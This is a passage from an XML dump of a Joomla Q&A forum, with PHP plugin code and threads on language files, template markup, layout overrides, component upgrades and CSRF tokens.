{&#xA;         // get the article id&#xA;        $articleId = isset($data-&amp;gt;id) ? (int) $data-&amp;gt;id : 0;&#xA;&#xA;        if ($articleId)&#xA;        {&#xA;            try&#xA;            {&#xA;                $db = JFactory::getDbo();&#xA;&#xA;                $db-&amp;gt;setQuery('DELETE FROM #__content_ksextras WHERE article_id = '.$articleId );&#xA;&#xA;                if (!$db-&amp;gt;execute()) {&#xA;                    throw new Exception($db-&amp;gt;getErrorMsg());&#xA;                }&#xA;            }&#xA;            catch (JException $e)&#xA;            {&#xA;                $this-&amp;gt;_subject-&amp;gt;setError($e-&amp;gt;getMessage());&#xA;&#xA;                return false;&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * The first stage in preparing the content for output&#xA;     *&#xA;     * @param $context&#xA;     * @param $article&#xA;     * @param $params&#xA;     * @param $page&#xA;     *&#xA;     * @return string&#xA;     */&#xA;    public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page = 0)&#xA;    {&#xA;        if (!isset($article-&amp;gt;testimonial) || !count($article-&amp;gt;testimonial))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // add extra css for table&#xA;        $doc = JFactory::getDocument();&#xA;        //$doc-&amp;gt;addStyleSheet(JURI::base(true).'/plugins/content/ksextras/extras/ksextras.css');&#xA;&#xA;        // construct a result table on the fly   &#xA;        jimport('joomla.html.grid');&#xA;        $table = new JGrid();&#xA;&#xA;        // Create columns&#xA;        $table-&amp;gt;addColumn('attr')-&amp;gt;addColumn('value');   &#xA;&#xA;        // populate&#xA;        $rownr = 0;&#xA;        foreach ($article-&amp;gt;testimonial as $attr =&amp;gt; $value)&#xA;        {&#xA;            $table-&amp;gt;addRow(array('class' =&amp;gt; 'row'.($rownr % 2)));&#xA;            $table-&amp;gt;setRowCell('attr', $attr);&#xA;            $table-&amp;gt;setRowCell('value', $value);&#xA;            $rownr++;&#xA;        }&#xA;&#xA;        // wrap table in a classed &amp;lt;div&amp;gt;&#xA;        $suffix = $this-&amp;gt;params-&amp;gt;get('testimonialclass_sfx', 'testimonial');&#xA;        $html = '&amp;lt;div class=&quot;'.$suffix.'&quot;&amp;gt;'.(string)$table.'&amp;lt;/div&amp;gt;';&#xA;&#xA;        $article-&amp;gt;text = $html.$article-&amp;gt;text;&#xA;    }&#xA;&#xA;     /**&#xA;    * Insert a new record into the database&#xA;    *&#xA;    * @param $attribs our extra fields in object form&#xA;    * @param $articleId the article id we are relating the fields to&#xA;    *&#xA;    * @return bool&#xA;    * @throws Exception&#xA;    */&#xA;    public function insertRecord($attribs, $articleId)&#xA;    {&#xA;        // Get a db connection.&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Create a new query object.&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Insert columns.&#xA;        $columns = array('article_id', 'data', 'created', 'created_by');&#xA;&#xA;        $user = JFactory::getUser();&#xA;        $created_by = $user-&amp;gt;id;&#xA;        $created = JFactory::getDate()-&amp;gt;toSql();&#xA;&#xA;        // Insert values.&#xA;        $values = array(&#xA;            $articleId,&#xA;            $db-&amp;gt;quote(json_encode($attribs)),&#xA;            $db-&amp;gt;quote($created),&#xA;            $created_by,&#xA;        );&#xA;&#xA;        // insert query&#xA;        $query&#xA;            -&amp;gt;insert($db-&amp;gt;quoteName('#__content_ksextras'))&#xA;            -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;            -&amp;gt;values(implode(',', $values));&#xA;&#xA;        // set the query&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        // execute, throw an exception if we have a problem&#xA;        if (!$db-&amp;gt;execute()) {&#xA;            throw new Exception($db-&amp;gt;getErrorMsg());&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;    * Update record function&#xA;    *&#xA;    * @param $attribs requires object of attributes from form&#xA;    * @param $articleId id of the article we are relating to&#xA;    *&#xA;    * @return bool&#xA;    * @throws Exception&#xA;    */&#xA;    protected function updateRecord($attribs, $articleId)&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Create a new query object.&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $conditions = array(&#xA;            'article_id='.$articleId,&#xA;        );&#xA;&#xA;        $user = JFactory::getUser();&#xA;        $modified_by = $user-&amp;gt;id;&#xA;        $modified = JFactory::getDate()-&amp;gt;toSql();&#xA;&#xA;        // Fields to update.&#xA;        $fields = array(&#xA;            'data='.$db-&amp;gt;quote(json_encode($attribs)),&#xA;            'modified='.$db-&amp;gt;quote($modified),&#xA;            'modified_by='.$modified_by,&#xA;        );&#xA;&#xA;        // update query&#xA;        $query-&amp;gt;update($db-&amp;gt;quoteName('#__content_ksextras'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;&#xA;        // set the query&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        // execute, throw an exception if we have a problem&#xA;        if (!$db-&amp;gt;execute()) {&#xA;            throw new Exception($db-&amp;gt;getErrorMsg());&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Check the article category against the category selected by the plugin&#xA;     *&#xA;     * @param integer   $article_cat        The category of the article&#xA;     * &#xA;     * @return boolean&#xA;     */&#xA;    protected function checkCategory($article_cat)&#xA;    {&#xA;        if ($this-&amp;gt;category == $article_cat)&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Need to check if the current category's parent or grand-parent &#xA;        // is the category selected for this plugin&#xA;        if ($this-&amp;gt;include_child_categories)&#xA;        {&#xA;            $parents = $this-&amp;gt;getParentCategories($article_cat);&#xA;            if (in_array($this-&amp;gt;category, $parents))&#xA;            {&#xA;                return true;&#xA;            }&#xA;        }&#xA;&#xA;        return false;&#xA;    }&#xA;&#xA;    /**&#xA;     * Get a list of the category children&#xA;     *&#xA;     * @param integer   $catId  The id of the category to check&#xA;     *&#xA;     * @return array&#xA;     */&#xA;    protected function getChildCategories($catId)&#xA;    {&#xA;        jimport('joomla.application.categories');&#xA;        $categories = JCategories::getInstance('Content');&#xA;        $cat        = $categories-&amp;gt;get($catId);&#xA;        $children   = $cat-&amp;gt;getChildren();&#xA;        $childCats  = array();&#xA;&#xA;        foreach ($children as $child)&#xA;        {&#xA;            $childCats[] = $child-&amp;gt;id;&#xA;        }&#xA;&#xA;        return $childCats;&#xA;    }&#xA;&#xA;    /**&#xA;     * Get a list of the category parent(s)&#xA;     *&#xA;     * @param integer   $catId  The id of the category to check&#xA;     *&#xA;     * @return array&#xA;     */&#xA;    protected function getParentCategories($catId)&#xA;    {&#xA;        $parentCats = array();&#xA;&#xA;        jimport('joomla.application.categories');&#xA;        $categories = JCategories::getInstance('Content');&#xA;        $cat        = $categories-&amp;gt;get($catId);&#xA;&#xA;        // Check the parent_id. If it is an integer &amp;gt; 0, update the array and &#xA;        // check for a parent_id of the parent... Only going up 2 levels...&#xA;        if ((int)$cat-&amp;gt;parent_id)&#xA;        {&#xA;            $parentCats[]   = $cat-&amp;gt;parent_id;&#xA;            $parent         = $cat-&amp;gt;getParent();&#xA;            if ((int) $parent-&amp;gt;parent_id)&#xA;            {&#xA;                $parentCats[] = $parent-&amp;gt;parent_id;&#xA;            }&#xA;        }&#xA;&#xA;        return $parentCats;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;````&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-04-22T14:01:02.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9597" PostTypeId="2" ParentId="9553" CreationDate="2015-04-22T14:28:13.437" Score="1" Body="&lt;p&gt;As previouly noted, you should be using JFactory::getSession() to access variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not possible to remember information from Guest session to Registered user session. They are different sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, you can store information in different ways to remember some settings, e.g. browser-side cookies / localstorage. At the end, it is App living in the browser that submits information to the server.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-22T14:28:13.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9598" PostTypeId="1" CreationDate="2015-04-22T15:10:27.820" Score="1" ViewCount="270" Body="&lt;p&gt;I have a feeling this has an extremely simple solution that I am overlooking...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My component has a language file which does some string replacements (surprise, surprise). Most seem to be working, but when I delete a row from the admin back-end, a successful deletion of a record displays the message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message&lt;/p&gt;&#xA;&#xA;&lt;p&gt;COM_COURSELIST_N_ITEMS_DELETED&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my language file (admin/language/en-GB/en-GB.com_courselist.sys.ini), where several other translations seem to be working, I have defined:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_COURSELIST_N_ITEMS_DELETED=&quot;Successfully deleted course(s)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I continue to see the un-translated version of this string. Any thoughts that might point me in the right direction? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2297" LastActivityDate="2015-07-22T19:56:09.247" Title="MVC component language file not overriding '_N_ITEMS_DELETED' string" Tags="|mvc|language|translation|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9599" PostTypeId="1" CreationDate="2015-04-22T15:38:43.203" Score="0" ViewCount="1061" Body="&lt;p&gt;i'm working on my &lt;a href=&quot;http://www.nerdyfuture.byethost24.com&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt; and I noticed that there's a big white space at the bottom of the webpage. It's not visible in Google Chrome and IE but it is visible in Firefox. How can I remove this?&lt;/p&gt;&#xA;" OwnerUserId="3396" LastActivityDate="2015-04-22T15:49:58.600" Title="How to remove white space from bottom of page?" Tags="|joomla-3.x|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9600" PostTypeId="2" ParentId="9599" CreationDate="2015-04-22T15:49:58.600" Score="1" Body="&lt;p&gt;Just looked at your code and noticed 1 big flaw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your current markup is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;site com_content view-featured no-layout no-task itemid-101&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;body&quot;&amp;gt;&#xA;    &amp;lt;header class=&quot;header&quot; role=&quot;banner&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;header-inner&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;div id=&quot;Logo&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;div id=&quot;header&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;footer class=&quot;footer&quot; role=&quot;contentinfo&quot;&amp;gt;&amp;lt;/footer&amp;gt;&#xA;     &amp;lt;/header&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have wrapped your whole site inside the &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The markup should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;  &amp;lt;header&amp;gt;ONLY HEADER STUFF HERE!&amp;lt;/header&amp;gt;&#xA;  &amp;lt;div class=&quot;content&quot;&amp;gt;MAIN PART OF SITE HERE&amp;lt;/div&amp;gt;&#xA;  &amp;lt;footer&amp;gt;ONLY FOOTER STUFF HERE!&amp;lt;/footer&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, within the header tag, there is an element with a &lt;code&gt;moduletable&lt;/code&gt; which you have set to 100px in your CSS. The whole website content area had been put inside this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please look through your index.php and check for any missing closing tags. If none are found and this has been done on purpose, you will need to re-write your HTML markup&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-22T15:49:58.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9601" PostTypeId="2" ParentId="9598" CreationDate="2015-04-22T16:11:41.820" Score="0" Body="&lt;p&gt;You may have a broken language file. It may be caused by an unclosed string or a weird hidden character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I test language files with this simple script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// php -f check.php&#xA;&#xA;$ini_array = parse_ini_file(&quot;en-GB.com_courselist.sys.ini&quot;);&#xA;print_r($ini_array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If labels are missing, you can remove lines to find the wrong one.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-22T16:11:41.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9603" PostTypeId="1" CreationDate="2015-04-22T19:58:28.940" Score="2" ViewCount="33" Body="&lt;p&gt;I have created a layout override starting from the blog template and added it in &#xA;mytemplate\html\com_content\category :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;galleries.php&#xA;galleries_item.php&#xA;galleries.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can create a new menu item with this layout and it works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to override the layout for a specific category but this new layout type does not show up in the &quot;Alternative Layout&quot; dropdown. I see only &quot;From Global Options&quot; and &quot;From Component&quot;, but no layouts from my template (or any other template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to also be able to set this layout as category alternative layout?&lt;/p&gt;&#xA;" OwnerUserId="4111" LastActivityDate="2015-04-22T19:58:28.940" Title="Layout Override shows up as menu Item but not as category layout" Tags="|overrides|template-override|layout|category|" AnswerCount="0" CommentCount="0" ClosedDate="2015-04-26T22:56:56.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="9604" PostTypeId="1" CreationDate="2015-04-23T01:51:25.833" Score="5" ViewCount="3142" Body="&lt;p&gt;Using Joomla 3.4.1 with the K2 framework.  I want to have an anchor link that points to a K2 item (article). So for example, I want to have a K2 item with several paragraphs of text. Within that text, a phrase would be a link to another K2 item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easy to do this for non-K2 articles by simply using the &quot;create link&quot; feature in the editor. But I haven't seen anything explain how to create a similar anchor link to point to a K2 item. &lt;/p&gt;&#xA;" OwnerUserId="4115" LastEditorUserId="384" LastEditDate="2015-04-25T10:07:20.990" LastActivityDate="2016-04-07T18:18:12.213" Title="How to create an anchor link that points to a Joomla K2 Item" Tags="|joomla-3.x|k2|weblinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9605" PostTypeId="1" AcceptedAnswerId="9618" CreationDate="2015-04-23T07:06:23.847" Score="2" ViewCount="2353" Body="&lt;p&gt;I need to retrieve some data from &lt;strong&gt;#__virtuemart_order_histories&lt;/strong&gt; in &lt;strong&gt;templates/active_tmpl/html/com_virtuemart/orders/details_history.php&lt;/strong&gt; via jQuery.ajax. I know that I can do it with a new &amp;amp;task= in controller but is it possible to make the ajax query to the DB in the above file without touching Virtuemart core files?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-04-23T19:34:48.403" LastActivityDate="2017-10-26T16:01:42.767" Title="How to retrieve data from the Joomla DB via jQuery.ajax without controller" Tags="|development|joomla-api|virtuemart|database|ajax|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9606" PostTypeId="1" AcceptedAnswerId="9631" CreationDate="2015-04-23T08:34:04.510" Score="6" ViewCount="817" Body="&lt;p&gt;To avoid CSRF attacks we use a security token and validate the request against the token.&#xA;This could be achieved through, the below code&#xA;to generate a token&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link = JRoute::_('index.php?option=com_comp&amp;amp;view=comview&amp;amp;task=action'&amp;amp;'.JSession::getFormToken().'=1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to validate the token &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JSession::checkToken('get') or die( 'Invalid Token' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the link generates like...&#xA;&lt;a href=&quot;http://localhost/index.php?option=com_comp&amp;amp;view=comview&amp;amp;task=action&amp;amp;231a817c6f53a732b6d70f3e2c3c5fcd=1&quot;&gt;http://localhost/index.php?option=com_comp&amp;amp;view=comview&amp;amp;task=action&amp;amp;231a817c6f53a732b6d70f3e2c3c5fcd=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is:&#xA;This token code is not a one time use code, many requests on the same token  can be made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this does not actually satisfy the purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the generate token and check token must be related and once it is checked, the next time we get a token should change the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any code or function in Joomla that can do this ?&lt;/p&gt;&#xA;" OwnerUserId="1681" LastEditorUserId="12352" LastEditDate="2019-11-16T22:51:39.167" LastActivityDate="2019-11-16T22:51:39.167" Title="How to generate a pseudo random one time use code for request token" Tags="|joomla-3.x|security|security-token|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9608" PostTypeId="1" AcceptedAnswerId="9610" CreationDate="2015-04-23T14:08:34.207" Score="1" ViewCount="414" Body="&lt;p&gt;I need to create 2 templates for pages: &quot;with sidebar&quot; and &quot;without sidebar&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to show sidebar for certain pages and hide it for others.&#xA;This behavior should be configured thru options and not thru code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it in Joomla 3.4.1?&lt;/p&gt;&#xA;" OwnerUserId="4118" LastEditorUserId="5638" LastEditDate="2016-09-10T05:50:44.140" LastActivityDate="2016-09-10T05:50:44.140" Title="Different page templates for pages" Tags="|joomla-3.x|joomla-3.4|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9610" PostTypeId="2" ParentId="9608" CreationDate="2015-04-23T14:34:40.317" Score="2" Body="&lt;p&gt;Quite a simple thing to do. In your template's index.php add the following and change &lt;code&gt;position-8&lt;/code&gt; to whatever position in the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules('position-8')) : ?&amp;gt;&#xA;    &amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-8&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, what this does is, it detects if there are any modules assigned to &lt;code&gt;position-8&lt;/code&gt; and will display the sidebar &lt;strong&gt;only&lt;/strong&gt; if there are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have multiple positions inside the sidebar, so you can also use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules('position-8') &amp;amp;&amp;amp; $this-&amp;gt;countModules('position-9')): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-23T14:34:40.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9611" PostTypeId="1" CreationDate="2015-04-23T15:13:44.097" Score="2" ViewCount="112" Body="&lt;p&gt;This question is not so specific, but I will ask it anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible (better possible and easy) to use less compiler when saving options for a component or plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want - many content plugins offer user input css, which they inject directly into html code as inline style.&#xA;My idea is to modify and compile css file when pressing 'Save' button in the backend. This will eliminate use of inline css-es, but will preserve option for user modifications there.&#xA;I've read about firing less compiler at page load, but I think this should be avoided too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is your opinion? And to be more specific - what kind of code I need and where to locate Save action?&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2015-07-19T16:37:08.330" Title="How to implement less compiler when saving options" Tags="|plugin|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9612" PostTypeId="1" AcceptedAnswerId="9621" CreationDate="2015-04-23T15:35:08.737" Score="2" ViewCount="237" Body="&lt;p&gt;I am trying to upgrade a component from 2.5 to 3.x. But while doing so I am getting error from controller.php file. Error message is like the following: &#xA;Fatal error: Call to a member function get() on a non-object in /home/abs/public_html/joomla34/administrator/components/com_refix/controller.php on line 20&#xA;Here is the code of controller.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class PrefixController extends JControllerLegacy {&#xA;/**&#xA; * constructor&#xA; * &#xA; * @access public&#xA; */&#xA;public function __construct() {&#xA;&#xA;    require_once JPATH_COMPONENT . '/helpers/prefix.php';&#xA;    JFactory::getApplication()-&amp;gt;input-&amp;gt;get('view', $this-&amp;gt;input-&amp;gt;get('view', 'tableprefix'));&#xA;    parent::__construct();&#xA;    $view = $this-&amp;gt;input-&amp;gt;get('view');&#xA;    PrefixHelper::addSubMenu((isset($view)) ? $view : '');&#xA;}&#xA;&#xA;/**&#xA; * check new table prefix&#xA; * &#xA; * @access private&#xA; * @return boolean&#xA; */&#xA;private function checkTablePrefix() {&#xA;    $new_prefix = $this-&amp;gt;input-&amp;gt;get('new_prefix');&#xA;    if(!preg_match('/^[a-zA-Z]+[a-zA-Z0-9_]*$/',$new_prefix)) {&#xA;        return false;&#xA;    } else {&#xA;        return true;&#xA;    }&#xA;}&#xA;&#xA;/**&#xA; * rename table prefix and update configuration.php file&#xA; * &#xA; * @access public&#xA; */&#xA;public function update() {&#xA;    $msg = '';&#xA;    if(!$this-&amp;gt;checkTablePrefix()) {&#xA;        $msg = '&amp;lt;span class=&quot;prefix_error&quot;&amp;gt;' . JText::_('COM_PREFIX_PREFIX_NEW_PREFIX_DESC') . '&amp;lt;/span&amp;gt;';&#xA;    } else {&#xA;        $model = $this-&amp;gt;getModel('tableprefix');&#xA;        $new_prefix = $this-&amp;gt;input-&amp;gt;get('new_prefix');&#xA;        if($model-&amp;gt;renamePrefix($new_prefix)) {&#xA;            $msg .= JText::_('COM_PREFIX_SUCCESS:TABLE_PREFIX_ALREADY_UPDATED');&#xA;&#xA;            // update configuration file&#xA;            if($this-&amp;gt;input-&amp;gt;get(&quot;update_config&quot;) == '1') {&#xA;                // backup configuration file&#xA;                if($this-&amp;gt;input-&amp;gt;get(&quot;backup_before&quot;) == '1') {&#xA;                    $msg .= &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;                    if($model-&amp;gt;backupConfig()) {&#xA;                        $msg .= JText::_('COM_PREFIX_SUCCESS:BACKUP_THE_CONFIGURATION.PHP_FILE');&#xA;                    }  else {&#xA;                        $msg .= '&amp;lt;span class=&quot;prefix_error&quot;&amp;gt;' . JText::_('COM_PREFIX_ERROR:CONFIGURATION.PHP_FILE_COULD_NOT_BE_BACKUP') . '&amp;lt;/span&amp;gt;';&#xA;                    }&#xA;                }&#xA;&#xA;                $msg .= &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;                if($model-&amp;gt;editConfig($new_prefix)) {&#xA;                    $msg .= JText::_('COM_PREFIX_SUCCESS:CONFIGURATION_FILE_HAS_BEEN_UPDATED');&#xA;                }  else {&#xA;                    $msg .= '&amp;lt;span class=&quot;prefix_error&quot;&amp;gt;' . JText::_('COM_PREFIX_ERROR:CONFIGURATION_FILE_COULD_NOT_BE_UPDATE,PLEASE_MANUAL_UPDATE') . '&amp;lt;/span&amp;gt;';&#xA;                }&#xA;            }&#xA;        } else {&#xA;            $msg .= '&amp;lt;span class=&quot;prefix_error&quot;&amp;gt;' . JText::_('COM_PREFIX_ERROR:TABLE_PREFIX_COULD_NOT_BE_UPDATE') . '&amp;lt;/span&amp;gt;';&#xA;        }&#xA;    }&#xA;    ob_end_clean();&#xA;    JResponse::setHeader(&quot;Pragma&quot;, &quot;no-cache&quot;);&#xA;    JResponse::setHeader(&quot;Expires&quot;,&quot;0&quot;);&#xA;    echo $msg;&#xA;    exit;&#xA;} // end function    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4096" LastEditorUserId="4096" LastEditDate="2015-04-23T23:09:21.367" LastActivityDate="2015-04-23T23:09:21.367" Title="Component upgrade 2.5 to 3.0 getting error" Tags="|joomla-3.x|php|joomla-3.3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9613" PostTypeId="2" ParentId="9611" CreationDate="2015-04-23T15:35:34.210" Score="1" Body="&lt;p&gt;If you're referring to when &lt;strong&gt;any&lt;/strong&gt; component, plugin or module is saved, then this I do not believe is possible. If I'm not mistaken, you can only manipulate the save function for each individual component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would recommend doing is creating a plugin and compile the LESS using the &lt;code&gt;onBeforeCompileHead&lt;/code&gt; event. You're going to have to copy the &lt;code&gt;compileLess&lt;/code&gt; function and make some changes to it as it. For this, check line &lt;strong&gt;742&lt;/strong&gt; of the following file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator\components\com_templates\models\template.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You plugin could look a little like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemCompileLess extends JPlugin&#xA;{&#xA;&#xA;    public function onBeforeCompileHead()&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // Only compile this for the frontend&#xA;        if ($app-&amp;gt;isSite()) &#xA;        {&#xA;            // Call your compileLess function here&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-05-22T08:17:32.190" LastActivityDate="2015-05-22T08:17:32.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9614" PostTypeId="2" ParentId="9612" CreationDate="2015-04-23T15:55:05.507" Score="3" Body="&lt;p&gt;Line 20 looks pretty messed up. I'm not sure what you are trying to do with it?&#xA;In general though the error is because you haven't defined $this-&gt;input:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try using this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct() {&#xA;&#xA;    require_once JPATH_COMPONENT . '/helpers/qtableprefix.php';&#xA;    $this-&amp;gt;input = JFactory::getApplication()-&amp;gt;input;&#xA;    $this-&amp;gt;input-&amp;gt;get('view', $this-&amp;gt;input-&amp;gt;get('view', 'tableprefix'));&#xA;    parent::__construct();&#xA;    $view = $this-&amp;gt;input-&amp;gt;get('view');&#xA;    QTablePrefixHelper::addSubMenu((isset($view)) ? $view : '');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;input-&amp;gt;get('view', $this-&amp;gt;input-&amp;gt;get('view', 'tableprefix'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;won't do anything though as you are not assigning the input to a variable. As far as I can tell you could simply remove the line altogether&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-04-23T15:55:05.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9615" PostTypeId="2" ParentId="9606" CreationDate="2015-04-23T16:01:32.807" Score="3" Body="&lt;p&gt;The token is tied to the current user's session and is unique to that. As soon as that user has logged out then the token is no longer usable. &#xA;i've never seen an issue with this set up for avoiding spoof attacks on forms, so I'm not sure you really have an issue to fix here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to answer your quersion, what you can do to create a new token is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JSession::getFormToken(true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-04-23T16:01:32.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
